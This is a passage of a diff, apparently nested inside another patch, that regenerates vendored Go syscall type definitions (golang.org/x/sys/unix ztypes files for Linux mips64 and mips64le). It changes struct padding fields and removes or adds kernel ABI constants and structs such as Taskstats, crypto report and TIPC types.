-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Regs [32]uint64
- Lo uint64
-@@ -609,70 +190,37 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-- X_f [0]int8
-- Pad_cgo_1 [4]byte
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [0]int8
-+ _ [4]byte
- }
-
- type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]int8
-- Fpack [6]int8
-- Pad_cgo_1 [4]byte
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]int8
-+ Fpack [6]int8
-+ _ [4]byte
- }
-
- type EpollEvent struct {
- Events uint32
-+ _ int32
- Fd int32
- Pad int32
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x40045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x80
-
- type Termios struct {
- Iflag uint32
-@@ -685,20 +233,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -710,13 +249,12 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -740,55 +278,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint64
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ _NCPUBITS = 0x40
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+const (
-+ CBitFieldMaskBit0 = 0x8000000000000000
-+ CBitFieldMaskBit1 = 0x4000000000000000
-+ CBitFieldMaskBit2 = 0x2000000000000000
-+ CBitFieldMaskBit3 = 0x1000000000000000
-+ CBitFieldMaskBit4 = 0x800000000000000
-+ CBitFieldMaskBit5 = 0x400000000000000
-+ CBitFieldMaskBit6 = 0x200000000000000
-+ CBitFieldMaskBit7 = 0x100000000000000
-+ CBitFieldMaskBit8 = 0x80000000000000
-+ CBitFieldMaskBit9 = 0x40000000000000
-+ CBitFieldMaskBit10 = 0x20000000000000
-+ CBitFieldMaskBit11 = 0x10000000000000
-+ CBitFieldMaskBit12 = 0x8000000000000
-+ CBitFieldMaskBit13 = 0x4000000000000
-+ CBitFieldMaskBit14 = 0x2000000000000
-+ CBitFieldMaskBit15 = 0x1000000000000
-+ CBitFieldMaskBit16 = 0x800000000000
-+ CBitFieldMaskBit17 = 0x400000000000
-+ CBitFieldMaskBit18 = 0x200000000000
-+ CBitFieldMaskBit19 = 0x100000000000
-+ CBitFieldMaskBit20 = 0x80000000000
-+ CBitFieldMaskBit21 = 0x40000000000
-+ CBitFieldMaskBit22 = 0x20000000000
-+ CBitFieldMaskBit23 = 0x10000000000
-+ CBitFieldMaskBit24 = 0x8000000000
-+ CBitFieldMaskBit25 = 0x4000000000
-+ CBitFieldMaskBit26 = 0x2000000000
-+ CBitFieldMaskBit27 = 0x1000000000
-+ CBitFieldMaskBit28 = 0x800000000
-+ CBitFieldMaskBit29 = 0x400000000
-+ CBitFieldMaskBit30 = 0x200000000
-+ CBitFieldMaskBit31 = 0x100000000
-+ CBitFieldMaskBit32 = 0x80000000
-+ CBitFieldMaskBit33 = 0x40000000
-+ CBitFieldMaskBit34 = 0x20000000
-+ CBitFieldMaskBit35 = 0x10000000
-+ CBitFieldMaskBit36 = 0x8000000
-+ CBitFieldMaskBit37 = 0x4000000
-+ CBitFieldMaskBit38 = 0x2000000
-+ CBitFieldMaskBit39 = 0x1000000
-+ CBitFieldMaskBit40 = 0x800000
-+ CBitFieldMaskBit41 = 0x400000
-+ CBitFieldMaskBit42 = 0x200000
-+ CBitFieldMaskBit43 = 0x100000
-+ CBitFieldMaskBit44 = 0x80000
-+ CBitFieldMaskBit45 = 0x40000
-+ CBitFieldMaskBit46 = 0x20000
-+ CBitFieldMaskBit47 = 0x10000
-+ CBitFieldMaskBit48 = 0x8000
-+ CBitFieldMaskBit49 = 0x4000
-+ CBitFieldMaskBit50 = 0x2000
-+ CBitFieldMaskBit51 = 0x1000
-+ CBitFieldMaskBit52 = 0x800
-+ CBitFieldMaskBit53 = 0x400
-+ CBitFieldMaskBit54 = 0x200
-+ CBitFieldMaskBit55 = 0x100
-+ CBitFieldMaskBit56 = 0x80
-+ CBitFieldMaskBit57 = 0x40
-+ CBitFieldMaskBit58 = 0x20
-+ CBitFieldMaskBit59 = 0x10
-+ CBitFieldMaskBit60 = 0x8
-+ CBitFieldMaskBit61 = 0x4
-+ CBitFieldMaskBit62 = 0x2
-+ CBitFieldMaskBit63 = 0x1
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]int8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Frsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Files uint64
-+ Ffree uint64
-+ Bavail uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Flags int64
-+ Spare [5]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ SizeofTpacketHdr = 0x20
- )
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x20001269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint64
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]int8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go
-index f9bd1ab0..16add5a2 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +39,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint32
- Pad1 [3]uint32
-@@ -117,139 +100,29 @@ type Stat_t struct {
- Blocks int64
- }
-
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Frsize int64
-- Blocks uint64
-- Bfree uint64
-- Files uint64
-- Ffree uint64
-- Bavail uint64
-- Fsid Fsid
-- Namelen int64
-- Flags int64
-- Spare [5]int64
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -260,51 +133,20 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -313,277 +155,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Regs [32]uint64
- Lo uint64
-@@ -609,70 +190,37 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-- X_f [0]int8
-- Pad_cgo_1 [4]byte
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [0]int8
-+ _ [4]byte
- }
-
- type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]int8
-- Fpack [6]int8
-- Pad_cgo_1 [4]byte
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]int8
-+ Fpack [6]int8
-+ _ [4]byte
- }
-
- type EpollEvent struct {
- Events uint32
-+ _ int32
- Fd int32
- Pad int32
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x40045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x80
-
- type Termios struct {
- Iflag uint32
-@@ -685,20 +233,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -710,13 +249,12 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -740,55 +278,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint64
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
